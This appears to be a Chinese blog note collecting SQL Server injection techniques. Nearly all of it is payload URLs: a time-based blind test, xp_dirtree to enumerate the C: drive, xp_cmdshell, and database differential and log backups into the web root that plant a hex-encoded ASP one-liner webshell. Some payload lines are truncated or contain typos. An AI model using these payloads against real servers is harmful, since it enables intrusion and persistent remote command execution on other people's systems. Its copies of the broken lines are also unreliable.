SQL Server注入筆記
在一些大公司,通常都是使用mysql+php+apache的居多,對Microsoft SQL Server 注入實戰相對就較少,平時在處理漏洞或者測試時,對于一些有學習價值的注入測試思路、sql語句都會文本備忘下,這里索性就將sql server注入筆記放上來,便于查詢。
在一些盲注中,尤其是沒有過多錯誤回顯信息的情況下,若語句執行成功就返回正常,若失敗就彈框提示“服務器連接超時”之類的錯誤提示,連爆表、爆字段的機會都沒有。最初,查詢db_owner、sysadmin、xp_cmdshell都是有權限的,如下所示:

但是,每次用sqlmqp的--sql-shell的功能執行insert總是失敗。后來直接在瀏覽器上測試insert語句發現執行失敗,可見sqlmap的sql-shell功能對語句是否執行功能的判斷還是比較有限的,啥也沒返回。
1、判斷注入大多是and 1=1之類的語句,也經常被過濾掉,這里備忘下sql server基于時間的注入判斷:
test.aspx?ID=300 WAITFOR DELAY '0:0:5'--
2、最初通過xp_regread讀取注冊表值來獲取web路徑:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots,但是返回為空,于是就采用下列方法遍歷C盤,并將結果寫入臨時表中(注意:在執行擴展存儲功能時,所創建的表段應于擴展存儲功能的參數相一致,否則會出錯!):
test.aspx?ID=300;CREATE TABLE TMP([ID] int IDENTITY (1,1) NOT NULL,[name] [nvarchar] (300) NOT NULL,[depth] [int] NOT NULL,[isfile] [nvarchar] (50) NULL);insert into tmp exec master..xp_dirtree 'c:/',1,1
用sqlmap把表TMP中的值跑出來:
比如站點主目錄位于默認路徑C:/inetpub/wwwroot,那么通過以下命令可寫入一句話木馬,其中的中括號前面需要使用^轉義:
test.aspx?ID=300;exec master..xp_cmdshell 'echo ^
test.asp?ID=300;backup database 數據庫名 to disk='c:/inetpub/wwwroot/d.asp' WITH DIFFERENTIAL,FORMAT;-- 只備份差異數據到asp文件中
或者通過log備份寫入:
test.asp?ID=300;alter database dbname set RECOVER FULL; 設置數據庫為完全恢復模式,以允許備份日志
test.asp?ID=300;create table cmd(a image);
test.asp?ID=300;backup log dbname do disk='c:\cmd' with init; 初始化日志
test.asp?ID=300;insert into cmd(a) values(0x3C25657865637574652872657175657374282261222929253E); 插入一句話木馬
test.asp?ID=300;backup log dbname to disk='c:/inetpub/wwwroot/d.asp';drop table cmd;-- 備份包含木馬的日志,并刪除創建表